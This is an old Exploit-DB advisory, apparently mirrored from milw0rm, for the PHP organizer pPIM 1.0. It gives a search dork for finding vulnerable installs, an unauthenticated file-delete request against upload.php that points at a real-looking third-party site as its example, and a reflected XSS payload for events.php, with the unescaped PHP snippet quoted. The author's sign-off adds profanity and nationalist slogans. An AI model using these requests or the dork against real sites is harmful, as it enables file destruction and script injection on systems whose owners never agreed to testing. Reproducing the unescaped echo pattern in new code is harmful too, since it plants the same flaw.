Exploit pPIM 1.0 - Arbitrary File Delete / Cross-Site Scripting

[Exploiter]

EDB-ID

6215

Проверка EDB

1. Пройдено

Автор

BEYAZKURT

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2008-4528 cve-2008-4428 cve-2008-4427 cve-2008-4426 cve-2008-4425

Дата публикации

2008-08-10

##########################################################
#Author : BeyazKurt
#Contact : [email protected]
#
#Script : Ppim v1.0 [Bu ne bicim script adidir amk :D ]
#Download : http://scripts.ringsworld.com/organizers/ppim.zip
#
# D0rk :  inurl:events.php?listallevents
#
# File Delete Vulnerability: upload.php
#
# Example:http://creawebs.com.mx/sistema/upload.php?mode=delfile&file=Creando Wiki.pptx
# Exploit:http://SITE.COM/upload.php?mode=delfile&file=FileName
#
# $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
#
# XSS Vulnerability: events.php
#
#[CODE]
#  <?php
#  if (isset($_GET['date']))
#  {
#    $date_id = $_GET['date'];
#  print "<a href=\"events.php?mode=new&date=$date_id\">New Event</a><br / >";
#  }
#  ?>
#

#
#Exploit :
# events.php?mode=new&date=XSS CODE
# events.php?mode=new&date="><script>alert('XSS')</script>
# -------------------------------
#
# INDEPENDENT KOSOVA (H) - Etnic ALBANIA (H)
# pigs for dedication : : WE Are Don't Forget Kosova, Drenica, Srebrenica And All Genocide !!
# Proud 2 Be ALBANIAN
#
# MTK : 0 - 5 : FenerBahçe (H)
#
# Not : Fuck off pala! aq lameri.
# Thnx : All Muslims Albanian & Turkish Coder.. And CrazyShark f0r translate.
#######################################################

# milw0rm.com [2008-08-10][/CODE]